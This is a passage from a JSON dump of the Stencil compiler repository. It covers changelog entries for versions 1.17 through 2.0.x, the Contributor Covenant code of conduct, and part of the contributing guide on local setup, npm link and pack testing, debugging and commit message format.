([4f8934d](https://github.com/stenciljs/core/commit/4f8934d7f5432c2c06fbd0d6f1a0b3c5ae880a73))\n- **runtime:** do regular clone of normal slotting ([#2694](https://github.com/stenciljs/core/issues/2694)) ([602c1e2](https://github.com/stenciljs/core/commit/602c1e2b70dc9980bcd90f726c0045307a8cb942))\n- **mock-doc:** set hostname when location is updated ([#2689](https://github.com/stenciljs/core/issues/2689)) ([9598a05](https://github.com/stenciljs/core/commit/9598a05e778538656a233cf02f276084b59d4098))\n- **worker:** Build.isDev in worker ([#2702](https://github.com/stenciljs/core/issues/2702)) ([e8ced45](https://github.com/stenciljs/core/commit/e8ced45654b0de41170541d193c0a3bdff77ffcb))\n- **dev-server:** clear module cache on ssr reload ([cfd5d39](https://github.com/stenciljs/core/commit/cfd5d39bad4ce2cab431595ae8c8f11d1fabb192))\n- **mock-doc:** no indentation w/in whitespace sensitive elements ([46ff715](https://github.com/stenciljs/core/commit/46ff71588e20cd7f0bdc3173e6cdca9b126d05d5))\n- **dev-server:** improve exiting dev server process ([eb02517](https://github.com/stenciljs/core/commit/eb025171f327a28de002fa6b73ffffc03ae0f905))\n- **e2e:** update to use page.waitForTimeout() ([e48d306](https://github.com/stenciljs/core/commit/e48d30682565c08acd72f791e73319453234b0fb))\n- **hydrate:** improve dev server console error ([9cb31a5](https://github.com/stenciljs/core/commit/9cb31a5ee4d24fbbb29e7d78061ce4d47350150a))\n- **mock-doc:** do not pretty print whitespace senstive elements ([de0dc65](https://github.com/stenciljs/core/commit/de0dc651f51adefe0a189c4ccb5ba60b1dff456a))\n- **mock-doc:** provide mocked global fetch() fn ([8fbc694](https://github.com/stenciljs/core/commit/8fbc694eb46dd8f88b1c65a81091880bcd729f21))\n- **types:** do not require @types/node because of puppeteer types ([1a907f7](https://github.com/stenciljs/core/commit/1a907f784f58463cfe52f87518f1a1d38a2908e5))\n- **types:** export h() function types ([be20372](https://github.com/stenciljs/core/commit/be2037290f55ac4ac49c128e62fc2468b58082cf))\n\n## 🍮 [2.0.3](https://github.com/stenciljs/core/compare/v2.0.2...v2.0.3) (2020-09-03)\n\n### Bug Fixes\n\n- **watch:** do not rebuild on docs output target file changes ([4529de7](https://github.com/stenciljs/core/commit/4529de75171f6702f3c277208bdb5b85298e9417))\n\n### Features\n\n- **worker:** can import Build from @stencil/core ([3058143](https://github.com/stenciljs/core/commit/30581437481f1375ee267c0e4387f40c66eefa7b))\n\n## 🐡 [2.0.2](https://github.com/stenciljs/core/compare/v2.0.1...v2.0.2) (2020-09-02)\n\n### Bug Fixes\n\n- **prerender:** export Fragment for prerender builds ([142adc8](https://github.com/stenciljs/core/commit/142adc852dc080a3c936d263ba645b6a31c6ad7a))\n- **test:** do not build docs from test command ([557b371](https://github.com/stenciljs/core/commit/557b3712f047d789122caf398aed46199c7b41e2))\n- **watch:** fix config.watchIgnoredRegex and update w/ RegExp array ([981e0ae](https://github.com/stenciljs/core/commit/981e0aebc5cf2e5fc42b33226dba8c9c2f1c7351))\n\n## 👽 [2.0.1](https://github.com/stenciljs/core/compare/v2.0.0...v2.0.1) (2020-08-31)\n\n### Bug Fixes\n\n- **custom-elements:** update package json module recommendation ([9f29dbd](https://github.com/stenciljs/core/commit/9f29dbda9ab53d892ebf1713856d022103729b78))\n- **jest:** update to jest 26.4.2 ([6aeb2f7](https://github.com/stenciljs/core/commit/6aeb2f7a49df1ee96d405f1b0ef004df28791547))\n- **rollup:** update to rollup 2.26.8 ([cac6482](https://github.com/stenciljs/core/commit/cac648264a47dc6f014eaa3241df778a4264471a))\n- **testing:** use default jest maxConcurrency ([c5d216f](https://github.com/stenciljs/core/commit/c5d216fdf5b0f9e9f6a6f07cca71a4ab9db3d4ff))\n\n### Features\n\n- **cli:** add changlog link to stencil version update message ([5fa5991](https://github.com/stenciljs/core/commit/5fa59915ef7aed7a79f138dbc8d8e2090fdaf6be))\n\n# 🚗 [2.0.0](https://github.com/stenciljs/core/compare/v1.17.3...v2.0.0) (2020-08-31)\n\nIn keeping with [Semver](https://semver.org/), Stencil `2.0.0` was released due to changes in the API (mainly from some updates to the config API).\n\nEven though this is a new major version, there are few [BREAKING CHANGES](BREAKING_CHANGES.md), and any changes will be flagged and described by the compiler during development. For the most part, most of the changes are removal of deprecated APIs that have been printing out warning logs for quite some time now.\n\n### TypeScript 4\n\n- **typescript:** bundle typescript ([1973032](https://github.com/stenciljs/core/commit/197303210e76f048b470d3cf91237b015ce3f116))\n- **typescript:** update to typescript 4.0.0-beta ([a274e11](https://github.com/stenciljs/core/commit/a274e1149c2da53b224bfba69e0a798c47920417))\n- **typescript:** update to typescript 4.0.1-rc ([def2e6b](https://github.com/stenciljs/core/commit/def2e6b8c926c6b4d79ffcfd9bcb4300f82312fa))\n- **typescript:** update to typescript 4.0.2 ([f55f0bf](https://github.com/stenciljs/core/commit/f55f0bf7e331d043dbee990b8bd5b7934cbac92b))\n\nThe other change is the update to [TypeScript 4](https://devblogs.microsoft.com/typescript/announcing-typescript-4-0/). With Stencil 2, TypeScript will no longer be a `dependency`, but instead included within the Stencil compiler. There are a few advantages to this we'll be experimenting with:\n\n- Faster compiler startup times and overall smaller install size.\n- The custom elements build should have a `dependency` of `@stencil/core`, so not having TypeScript as a dependency of `@stencil/core` simplifies the dependency graph for end-users and libraries.\n- Drastically simplifies the Stencil compiler by not having to dynamically import TypeScript, which quickly gets complicated since the compiler can work within Node, Deno, web workers and the browser's main thread. By bundling internally many of the complexities are no longer an issue.\n- Stencil compiler guaranteed to run with the exact version of TypeScript it was designed with.\n- Easier to adjust to breaking changes. For example, TypeScript 4 introduced a few breaking changes, but with this update it made it easier for the compiler to adjust internally.\n\n### Removal of Deprecated APIs\n\n- **assetsDir:** remove deprecated component assetsDir ([b5cba6a](https://github.com/stenciljs/core/commit/b5cba6a2c4f2cd9bc162289bab498355f61f9e10))\n- **attr:** remove deprecated prop attr/reflectToAttr ([133dd49](https://github.com/stenciljs/core/commit/133dd49e9fdf3d4cf9bf0de72ce787fddf196a0a))\n- **collection:** remove deprecated collection parsing ([1a94d1e](https://github.com/stenciljs/core/commit/1a94d1e19aa58bd3ea9a2fd8b98325101badd4eb))\n- **compiler:** remove deprecated compile/compileSync ([58a27d2](https://github.com/stenciljs/core/commit/58a27d2c546f6517aa3a4fd6a6045ce475688cb0))\n- **config:** remove deprecated includeSrc/excludeSrc ([c18cb1f](https://github.com/stenciljs/core/commit/c18cb1f608c7c4668b081b94f292d1f8af721641))\n- **context:** remove deprecated prop context/connect ([a87b738](https://github.com/stenciljs/core/commit/a87b738782b12e0110cd217bb2d522aa468c4d05))\n- **copy:** remove deprecated copy config ([6cf3134](https://github.com/stenciljs/core/commit/6cf313442b4a93a9da5265075223eede8aff4711))\n- **docs:** remove deprecated 'docs' type ([043e2d8](https://github.com/stenciljs/core/commit/043e2d8d2f1553926e4051db574a7ddb2437bb2d))\n- **experimental-dist-module:** remove deprecated experimental-dist-module ([41189a6](https://github.com/stenciljs/core/commit/41189a6ab0c8e6e65fca86ac16fe843acb22e22b))\n- **forceUpdate:** remove deprecated elm.forceUpdate() ([dfc1e59](https://github.com/stenciljs/core/commit/dfc1e593f19e32d37cc9bd2f869512d1b51e0fc0))\n- **legacyLoader:** remove deprecated legacy loader ([7480f92](https://github.com/stenciljs/core/commit/7480f9258f6aff17a3035c1531aacc0751d086d8))\n- **listen:** remove Listen target: 'parent' option ([ed63707](https://github.com/stenciljs/core/commit/ed6370743a99e0965b62fa3b118215fb26383747))\n- **listen:** remove deprecated listen target ([1a3b519](https://github.com/stenciljs/core/commit/1a3b5197103d9f4fbfbfb1972b65743bad936a92))\n- **reflectToAttr:** remove deprecated prop reflectToAttr ([6eae6f8](https://github.com/stenciljs/core/commit/6eae6f83085ff084f672e27cdafb8be4483b5eac))\n- **prerender:** use internal typescript ([8f0bb51](https://github.com/stenciljs/core/commit/8f0bb516dbe2b143375dc6397d0852543600daa1))\n- **test:** do not require typescript for tests ([43c5d98](https://github.com/stenciljs/core/commit/43c5d98dc6bcb495b048de7d8435ff04fc2dad3e))\n- **test:** remove deprecated testing configs ([fb8a02b](https://github.com/stenciljs/core/commit/fb8a02b4be0f7214d131e7c228964ca8423c3be0))\n- **transpile:** remove deprecated \"script\" option ([75dfebb](https://github.com/stenciljs/core/commit/75dfebb68659e09a5d2139e4cd16616448ebd122))\n- **watch:** remove deprecated PropWillChange/PropDidChange ([fa2b400](https://github.com/stenciljs/core/commit/fa2b400cf36696365487b7c2445ab096ee354e50))\n\n### Removal of `Context`\n\nThe `Context` object was originally added in the `0.x.x` versions of Stencil, before ES Modules were widely adopted. Since then we've deprecated it in Stencil 1, and have ported any external libraries off of it. The remaining one was `@stencil/redux`, and we've released `0.2.0` to be used with Stencil 2 (and can also work with Stencil 1). Additionally, now might be a good time to look into using [@stencil/store](https://stenciljs.com/docs/stencil-store) instead.\n\n### Bug Fixes\n\n- **assetsDirs:** allow same destination asset dir copy task ([b6379b3](https://github.com/stenciljs/core/commit/b6379b31da4fe40bf6251d307368d43e7ceee091)), closes [#2615](https://github.com/stenciljs/core/issues/2615)\n- **compiler:** normalizePath result from fs.realpathSync ([#2625](https://github.com/stenciljs/core/issues/2625)) ([df83c83](https://github.com/stenciljs/core/commit/df83c8341e4690aee54efaae5e8c527e1b6323b6))\n- **dist:** ensure src dts files not emitted still get shipped in dist ([dea56be](https://github.com/stenciljs/core/commit/dea56be32d17d208c5d9456c6de61d93a1606b0d)), closes [#1797](https://github.com/stenciljs/core/issues/1797)\n- **dist:** export Components, JSX types from custom-elements build ([abae5d1](https://github.com/stenciljs/core/commit/abae5d1f695647ea04bac66ff4b9ee2b933a102b))\n- **Fragment:** fix tsconfig Fragment ([ba0ea8d](https://github.com/stenciljs/core/commit/ba0ea8d3c324c5a8589a1a3c674a369c8f926aa8))\n- **exit:** ensure all node processes are destroyed on exit ([73a04c2](https://github.com/stenciljs/core/commit/73a04c2a9d8c7c224b9ca95ea856665c41f3f410))\n- **exit:** sys.exit() returns a promise ([208ef8c](https://github.com/stenciljs/core/commit/208ef8c90dd2e65b46823c0420f7c5811bfa3c86))\n- **export:** export client runtime from @stencil/core ([4c6cb60](https://github.com/stenciljs/core/commit/4c6cb6099581843fd00a3eb7dddda77c9675f0de))\n- **hmr:** fix dev server hmr ([fa480b6](https://github.com/stenciljs/core/commit/fa480b60d1d0867a741506c9aff953c3534c63dc))\n- **hydrate:** ensure all timers are cleared ([db1d747](https://github.com/stenciljs/core/commit/db1d7475f81dfb575365c75636eb26c9f7835fed))\n- **monorepos:** do not lazy require missing dependencies ([7f739a0](https://github.com/stenciljs/core/commit/7f739a0cac7423e91ac8614206b71894796965d8))\n- **parse:** parse decorator shorthand property assignment ([6b9e035](https://github.com/stenciljs/core/commit/6b9e0357c43e155c03d450d5209e87dbe3a92d60))\n- **plugin:** ensure external plugin css do not require physical file ([b5a2536](https://github.com/stenciljs/core/commit/b5a2536d0ac40a6ad940c55fcc52c8cdfcfa8b15)), closes [#2622](https://github.com/stenciljs/core/issues/2622)\n- **prerender:** flatten hAsync children to resolve promises ([363d258](https://github.com/stenciljs/core/commit/363d2585faa1f0a365f86b564a14440e5777e0cc))\n- **prerender:** hAsync only returns promise if it has to ([25a547a](https://github.com/stenciljs/core/commit/25a547a359a4cdb9fde83723497b75c99c11a5cc))\n- **safari:** fix safari10 builds ([63f02f8](https://github.com/stenciljs/core/commit/63f02f8fc125a21c0338850ef9060f27a9ebb87b))\n- **sys:** set ts.getExecutingFilePath() from stencil sys ([2b21f2d](https://github.com/stenciljs/core/commit/2b21f2d01af313be32310de29f297172a1318b56))\n- **taskQueue:** fix \"immediate\" rendering ([#2630](https://github.com/stenciljs/core/issues/2630)) ([62ea511](https://github.com/stenciljs/core/commit/62ea51121b8b77b9e9122e37657ce4c911538a5d))\n- **testing:** add collectCoverageFrom jest parameter ([#2613](https://github.com/stenciljs/core/issues/2613)) ([370a701](https://github.com/stenciljs/core/commit/370a70122789570f80290e6b3ef7683cf00d9b5a))\n- **treeshaking:** move environment helpers out of utils ([c9306b9](https://github.com/stenciljs/core/commit/c9306b9f3d359620f10b5a756bd717b1a210a576))\n- **ts:** update ts lib default local module path ([16f30bc](https://github.com/stenciljs/core/commit/16f30bcd1db5dec163dbaa7d719a01110b471a32))\n- **watch:** fix rebuild components on e2e w/ watch ([7cd28ca](https://github.com/stenciljs/core/commit/7cd28ca3f59d0b13b746bee43597b8255f4d6160)), closes [#2642](https://github.com/stenciljs/core/issues/2642)\n- **watch:** hmr scss \\_partial reload on file change ([4ffbe4a](https://github.com/stenciljs/core/commit/4ffbe4a23bb971a5878544db1a8b0cc81b896909)), closes [#2205](https://github.com/stenciljs/core/issues/2205)\n- **worker:** error passing ([03864f2](https://github.com/stenciljs/core/commit/03864f2ce258df293c4a3ba69fd4f954a9c917a2))\n\n### Features\n\n- **buildEs5:** add \"prod\" as an option for config.buildEs5 ([1af30a2](https://github.com/stenciljs/core/commit/1af30a2177e6cc920c88c30a6c0c939a73918c1b))\n- **dev-server:** single-threaded dev-server for debugging ([cf335e3](https://github.com/stenciljs/core/commit/cf335e312a25335fd3c2cec55278ff74dcdb82e1))\n- **runtime:** add jsx Fragment ([#2647](https://github.com/stenciljs/core/issues/2647)) ([f3abee7](https://github.com/stenciljs/core/commit/f3abee768df833308c69e4693a5d2a84af9b6d2e))\n- **jest:** update to jest 26.4.0 ([9e3a6a8](https://github.com/stenciljs/core/commit/9e3a6a85cf40ad61bdc687fa047beda30b47f8a4))\n- **prerendering:** async h() function ([d6eabb9](https://github.com/stenciljs/core/commit/d6eabb9359ef0f271817426137eb5cacb1b54aac))\n- **rollup:** update to rollup 2.26.6 ([6424254](https://github.com/stenciljs/core/commit/6424254e2914c26dfcd06aa8bbcd0f2a2174d9f2))\n- **terser:** update to terser 5.1.0 and use its esm build ([4b67c5a](https://github.com/stenciljs/core/commit/4b67c5a229541fcf3ab3d943c4fb2b650a11e80a))\n- **terser:** update to terser 5.2.1 ([7582974](https://github.com/stenciljs/core/commit/758297447e512a8d5753ab2c5be950bd6cdc2045))\n\n## ⛱ [1.17.3](https://github.com/stenciljs/core/compare/v1.17.2...v1.17.3) (2020-08-04)\n\n### Bug Fixes\n\n- **build:** dist-custom-elements-bundle types ([#2597](https://github.com/stenciljs/core/issues/2597)) ([7f2f5ad](https://github.com/stenciljs/core/commit/7f2f5ad7ca2ea6f1259721ca853cf029ebc34176)), closes [#2596](https://github.com/stenciljs/core/issues/2596)\n- **test:** update module ext order ([79ba207](https://github.com/stenciljs/core/commit/79ba207b595dc43d8740ba26c2a208b7ec1ca232)), closes [#2608](https://github.com/stenciljs/core/issues/2608)\n\n## ☎️ [1.17.2](https://github.com/stenciljs/core/compare/v1.17.1...v1.17.2) (2020-07-28)\n\n### Bug Fixes\n\n- **dev-server:** fix dev client requesting build results ([91564f4](https://github.com/stenciljs/core/commit/91564f4dd954575843273d4437165cb408c735ef))\n- **env:** add os.plaform() polyfill ([93b53e2](https://github.com/stenciljs/core/commit/93b53e2119a5d4b4cac28e655c97041106a40048))\n- **resolve:** fix ts resolve module for transpile sync ([7e538f4](https://github.com/stenciljs/core/commit/7e538f438b55e52104f0b5398a07e51c6699f589))\n- **sys:** node sys prerender applyPrerenderGlobalPatch ([517891d](https://github.com/stenciljs/core/commit/517891d3aabcddf456321a52b9a7d477663da47e))\n- **worker:** mock worker instance for hydrate builds ([207ce44](https://github.com/stenciljs/core/commit/207ce44ef319cd4406b8018e53df26fca5b92016))\n\n## 🐚 [1.17.1](https://github.com/stenciljs/core/compare/v1.17.0...v1.17.1) (2020-07-26)\n\n### Bug Fixes\n\n- **bundling:** downgrade `@rollup/plugin-commonjs` ([#2589](https://github.com/stenciljs/core/issues/2589)) ([be1bdd1](https://github.com/stenciljs/core/commit/be1bdd1b06b8512b55f8d29e62627d41859ff7a0))\n- Parse5 6.0.1\n\n# 🍩 [1.17.0](https://github.com/stenciljs/core/compare/v1.16.5...v1.17.0) (2020-07-24)\n\n### Features\n\n- **runtime:** ability to hook into creating CustomEvent, so vue binding can lowercase event names ([a2ce019](https://github.com/stenciljs/core/commit/a2ce019d1731c5cee42534fa5c8652e91f6f6cd9))\n- **setAssetPath:** customize path of asset base urls ([a06a941](https://github.com/stenciljs/core/commit/a06a9419b23f0f2624226162744d63bd6a8cfcce))\n- **dev-server:** pick up scheme and host from forwarding proxy. ([#2492](https://github.com/stenciljs/core/issues/2492)) ([3be1d72](https://github.com/stenciljs/core/commit/3be1d72d2c0e3d9bb1554abde14a03a57efe6ff2))\n- Rollup 2.23.0\n\n### Bug Fixes\n\n- **polyfill:** use core-js promise and iife fetch polyfill ([#2443](https://github.com/stenciljs/core/issues/2443)) ([7b7ed0b](https://github.com/stenciljs/core/commit/7b7ed0b94d56f71a218a568e976ed2de1099c350))\n- **render:** allow mapping of childNode to functional component ([#2548](https://github.com/stenciljs/core/issues/2548)) ([d0176c9](https://github.com/stenciljs/core/commit/d0176c93b52436289857f4413c1e3685a068af57))\n- **resolve:** fix typescript resolve patch ([1ef8097](https://github.com/stenciljs/core/commit/1ef8097ebab16a1475958ab3580c690f767036de))\n- **screenshot:** update compare.html in e2e screenshot ([#2585](https://github.com/stenciljs/core/issues/2585)) ([85f6504](https://github.com/stenciljs/core/commit/85f6504bf89a05321a1990f6b4e1244044244fb4))\n- **sys:** ensure in-memory sys checks file data ([f7c03c2](https://github.com/stenciljs/core/commit/f7c03c2708aab1953a4536fbd9c3b927ebfb6fcd))\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participation in our\ncommunity a harassment-free experience for everyone, regardless of age, body\nsize, visible or invisible disability, ethnicity, sex characteristics, gender\nidentity and expression, level of experience, education, socio-economic status,\nnationality, personal appearance, race, religion, or sexual identity\nand orientation.\n\nWe pledge to act and interact in ways that contribute to an open, welcoming,\ndiverse, inclusive, and healthy community.\n\n## Our Standards\n\nExamples of behavior that contributes to a positive environment for our\ncommunity include the ability to:\n\n* Demonstrate empathy and kindness towards people\n* Be respectful of differing opinions, viewpoints, and experiences\n* Give and gracefully accept constructive feedback\n* Accept responsibility and apologize to those affected by our mistakes,\n  and learn from the experience\n* Focus on what is best not just for us as individuals, but for the\n  overall community\n\nExamples of unacceptable behavior include:\n\n* The use of sexualized language or imagery, and sexual attention or\n  advances of any kind\n* Trolling, insulting or derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or email\n  address, without their explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Enforcement Responsibilities\n\nCommunity leaders are responsible for clarifying and enforcing our standards of\nacceptable behavior and will take appropriate and fair corrective action in\nresponse to any behavior that they deem inappropriate, threatening, offensive,\nor harmful.\n\nCommunity leaders have the right and responsibility to remove, edit, or reject\ncomments, commits, code, wiki edits, issues, and other contributions that are\nnot aligned to this Code of Conduct, and will communicate reasons for moderation\ndecisions when appropriate.\n\n## Scope\n\nThis Code of Conduct applies within all community spaces, and also applies when\nan individual is officially representing the community in public spaces.\nExamples of representing our community include using an official e-mail address,\nposting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported to the community leaders responsible for enforcement at\n[devrel@ionic.io](mailto:devrel@ionic.io).\nAll complaints will be reviewed and investigated promptly and fairly.\n\nAll community leaders are obligated to respect the privacy and security of the\nreporter of any incident.\n\n## Enforcement Guidelines\n\nCommunity leaders will follow these Community Impact Guidelines in determining\nthe consequences for any action they deem in violation of this Code of Conduct:\n\n### 1. Correction\n\n**Community Impact**: Use of inappropriate language or other behavior deemed\nunprofessional or unwelcome in the community.\n\n**Consequence**: A private, written warning from community leaders, providing\nclarity around the nature of the violation and an explanation of why the\nbehavior was inappropriate. A public apology may be requested.\n\n### 2. Warning\n\n**Community Impact**: A violation through a single incident or series\nof actions.\n\n**Consequence**: A warning with consequences for continued behavior. No\ninteraction with the people involved, including unsolicited interaction with\nthose enforcing the Code of Conduct, for a specified period of time. This\nincludes avoiding interactions in community spaces as well as external channels\nlike social media. Violating these terms may lead to a temporary or\npermanent ban.\n\n### 3. Temporary Ban\n\n**Community Impact**: A serious violation of community standards, including\nsustained inappropriate behavior.\n\n**Consequence**: A temporary ban from any sort of interaction or public\ncommunication with the community for a specified period of time. No public or\nprivate interaction with the people involved, including unsolicited interaction\nwith those enforcing the Code of Conduct, is allowed during this period.\nViolating these terms may lead to a permanent ban.\n\n### 4. Permanent Ban\n\n**Community Impact**: Demonstrating a pattern of violation of community\nstandards, including sustained inappropriate behavior,  harassment of an\nindividual, or aggression toward or disparagement of classes of individuals.\n\n**Consequence**: A permanent ban from any sort of public interaction within\nthe community.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage],\nversion 2.0, available at\nhttps://www.contributor-covenant.org/version/2/0/code_of_conduct.html.\n\nCommunity Impact Guidelines were inspired by [Mozilla's code of conduct\nenforcement ladder](https://github.com/mozilla/diversity).\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see the FAQ at\nhttps://www.contributor-covenant.org/faq. Translations are available at\nhttps://www.contributor-covenant.org/translations."
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing\n\nThanks for your interest in contributing to Stencil! 🎉\n\n\n## Contributing Etiquette\n\nPlease see our [Contributor Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md) for information on our rules of conduct.\n\n\n## Reporting a Bug\n\n* If you have a question about using Stencil, please ask in the [Stencil Discord server](https://chat.stenciljs.com).\n\n* It is required that you clearly describe the steps necessary to reproduce the issue you are running into. Although we would love to help our users as much as possible, diagnosing issues without clear reproduction steps is extremely time-consuming and simply not sustainable.\n\n* The issue list of this repository is exclusively for bug reports and feature requests. Non-conforming issues will be closed immediately.\n\n* Issues with no clear steps to reproduce will not be triaged.\n\n* If you think you have found a bug, please start by making sure it hasn't already been [reported](https://github.com/stenciljs/core/issues?utf8=%E2%9C%93&q=is%3Aissue). You can search through existing issues to see if there is a similar one reported. Include closed issues as it may have been closed with a solution.\n    * If a bug report already exists, please upvote it using the :+1: reaction on the GitHub Issue summary. The team is currently unable to track \"+1\" style comments on the issue.\n\n* Next, [create a new issue](https://github.com/stenciljs/core/issues/new) that thoroughly explains the problem.\n    * Please fill out the issue form in full before submitting.\n    * Please only include one bug per issue.\n\n\n## Requesting a Feature\n\n* If you have a question about using Stencil, please ask in the [Stencil Discord server](https://chat.stenciljs.com).\n\n* Before requesting a feature, please start by making sure it hasn't already been [proposed](https://github.com/stenciljs/core/issues?utf8=%E2%9C%93&q=is%3Aissue). You can search through existing GitHub issues to see if there is a similar feature request has been reported. Include closed feature requests, as it may have been closed already.\n    * If a feature request already exists, please upvote it using the :+1: reaction on the GitHub Issue summary. The team is currently unable to track \"+1\" style comments on the issue.\n\n* Next, [create a new feature request]([https://github.com/stenciljs/core/issues/new](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=feature_request.yml&title=feat%3A+)) that thoroughly explains the feature request.\n    * Please fill out the feature request form in full before submitting.\n    * Please only include one feature request per report.\n\n## Creating a Pull Request\n\n* We appreciate you taking the time to contribute! Before submitting a pull request, we ask that you please [create an issue](#creating-an-issue) that explains the bug or feature request and let us know that you plan on creating a pull request for it. If an issue already exists, please comment on that issue letting us know you would like to submit a pull request for it. This helps us to keep track of the pull request and make sure there isn't duplicated effort.\n\n### Setup\n\n1. Fork the repo.\n2. Clone your fork.\n3. Make a branch for your change.\n4. Stencil uses [volta](https://volta.sh) to manage its npm and Node versions. \n   [Install it](https://docs.volta.sh/guide/getting-started) before proceeding.\n   1. There's no need to install a specific version of npm or Node right now, it shall be done automatically for you in\n      the next step\n5. Run `npm ci`\n6. Run `npm run install.jest` to install dependencies for Stencil's testing submodule\n\n\n### Updates\n\n1. Unit test. Unit test. Unit test. Please take a look at how other unit tests are written, and you can't write too many tests.\n2. If there is a `*.spec.ts` file located in the `test/` folder, update it to include a test for your change, if needed. If this file doesn't exist, please notify us.\n3. First run `npm run build`. Then run `npm run test` or `npm run test.watch` to make sure all tests are working, regardless if a test was added.\n\n### Testing Changes Against a Project Locally\n\n#### Testing with `npm link`:\n\nUsing `npm link` is beneficial to the development cycle in that consecutive builds of Stencil are immediately available in your project, without any additional `npm install` steps needed:\n\n1. In the directory of _stencil core_:\n    1. Run `npm run build`\n    2. Run `npm link`\n2. In the directory of _your stencil project_:\n    1. Run `npm link @stencil/core`\n    2. Add the following to your `tsconfig.json`, to ensures that typescript can resolve all modules correctly:\n\n```json\n{\n  \"compilerOptions\": {\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core/internal\": [\"node_modules/@stencil/core/internal\"],\n      \"@stencil/core/internal/*\": [\"node_modules/@stencil/core/internal/*\"],\n      \"@stencil/core/mock-doc\": [\"node_modules/@stencil/core/mock-doc\"],\n      \"@stencil/core/mock-doc/*\": [\"node_modules/@stencil/core/mock-doc/*\"]\n    }\n  }\n}\n```\n\nYou can then test your changes against your own stencil project.\n\nAfterwards, to clean up:\n\n1. In the directory of _your stencil project_:\n    1. Run `npm unlink @stencil/core`\n    2. Remove the modifications to your tsconfig.json\n2. In the directory of _stencil core_, run `npm unlink`\n\n> [!NOTE]  \n> Instead of linking, you can reference Stencil from a local directory in the `package.json` after updating your project's `tsconfig.json` file, e.g.\n> ```patch\n> diff --git a/package.json b/package.json\n> index 1a8320a..bb1fa3a 100644\n> --- a/package.json\n> +++ b/package.json\n> @@ -39,11 +39,12 @@\n>      \"generate\": \"stencil generate\"\n>    },\n>    \"devDependencies\": {\n> -    \"@stencil/core\": \"^4.7.0\",\n> +    \"@stencil/core\": \"file:/path/to/local/stencil\",\n>      \"@types/jest\": \"^29.5.6\",\n>      \"@types/node\": \"^16.18.11\",\n>      \"jest\": \"^29.7.0\",\n>      \"jest-cli\": \"^29.7.0\",\n>      \"puppeteer\": \"^21.9.0\"\n>    },\n>    \"license\": \"MIT\"\n> ```\n\n#### Testing with `npm pack`:\n\nThere are some cases where `npm link` may fall short. For instance, when upgrading a minimum/recommended package version where the package in question has changed its typings. Rather than updating `paths` in your project's `tsconfig.json` file, it may be easier to create a tarball of the project and install in manually.\n\n1. In the directory of _stencil core_:\n    1. Run `npm run build`\n    2. Run `npm pack`. This will create a tarball with the name `stencil-core-<VERSION>.tgz`\n2. In the directory of _your stencil project_:\n    1. Run `npm install --save-dev <PATH_TO_STENCIL_REPO_ON_DISK>/stencil-core-<VERSION>.tgz`. \n       * e.g. If you cloned the stencil repo to `~/workspaces` and built v.2.6.0, you would run `npm install ~/workspaces/stencil/stencil-2.6.0.tgz`\n  \nNote that this method of testing is far more laborious than using `npm link`, and requires every step to be repeated following a change to the Stencil core source.\n\nAfterwards, to clean up:\n\n1. In the directory of your stencil project, run `npm install --save-dev stencil@<VERSION>` for the `<VERSION>` of Stencil core that was installed in your project prior to testing. \n\n### Debugging the Stencil Compiler\n\nThe Stencil compiler itself can be run through a debugger, as opposed to running a Stencil project through a debugger.\nThis allows individuals working on the compiler itself to inspect fields, trace execution, and more during the\nexecution of a Stencil task (`build`, `test`, etc.).\n\nSupport for this style of debugging is currently a work in progress and may not work for every aspect of the compiler.\nIt is considered experimental and should not be relied on for any production means.\n\nAt this time, it's recommended that the compiler be debugged by opening this project in your editor of choice. Please\nkeep in mind that due to the number of possible development environment's that exist today, this guide may not include\ndirections for every possible debugging environment.\n\nIt is required that Stencil be built to run it through the debugger.\n\nNote that Stencil transpiles source code using multiple worker processes. If your debugger appears to 'hang' or get\nstuck, your debugger may not have switched to a worker process that has halted on a breakpoint. You may be able to\navoid this altogether by setting `--max-workers=1` when you launch Stencil (with the possibility of not being able to\nreproduce timing issues between workers as a side effect).\n\n> [!NOTE]\n> If you want to have access to sourcemaps when debugging the compiler locally\n> you can run the `build` script in `package.json` with the `DEBUG` environment\n> variable set to `true` like so:\n>\n> ```sh\n> DEBUG=true npm run build\n> ```\n>\n> this will write a `.js.map` file to disk next to each JavaScript file.\n\n#### Debugging the Compiler in VSCode\n\nTwo launch configurations for debugging the compiler can be found in the `.vscode/launch.json` configuration found in\nthis repository:\n\n1. `debug stencil compiler (default config)` will run the compiler with the default Stencil configuration file\n(generated at runtime).\n2. `debug stencil compiler with stencil.config.ts` will run the compiler with a specific Stencil configuration file. \nYou will be prompted for the location of the Stencil project containing the configuration file to debug with before the\ndebugger starts.\n\n#### Debugging the Compiler in JetBrains IDEs\n\nJetBrains does not provide means to store and reuse configuration templates at this time. By default, templates are\ncreated of a specific 'type', such as 'NodeJS'. JetBrains does not allow for greater than one template of a specific\ntype to co-exist. In other words, creating a Stencil-debugger template would override other NodeJS templates in the IDE\nfor the project.\n\nAs a workaround, it is suggested that individuals create their own Run/Debug configurations. The following settings\nare recommended:\n\nWorking directory: `~/workspaces/stencil`\nJavaScript file: `bin/stencil`\nApplication parameters: `build --config=PATH_TO_STENCIL_PROJECT_TO_DEBUG`\n\nThe `build` application parameter can be swapped with any of the supported Stencil CLI commands. If `--config` is\nomitted, Stencil will generate a default configuration file for you.\n\n### Commit Message Format\n\nWe strive to adhere to a consistent commit message format that is consistent with the\n[Angular variant of Conventional Commits](https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-changelog-angular),\nwith a few exceptions.\n\nThis enables:\n- Anyone to easily understand *what* a commit does without reading the change itself\n- The history of changes to the project to be reviewed easily using tools such as `git log`\n- Automated tooling to be developed for important, if mundane tasks (e.g. change log generation)\n\n#### Type\nMust be one of the following:\n\n* **feat**: A new feature\n* **fix**: A bug fix\n* 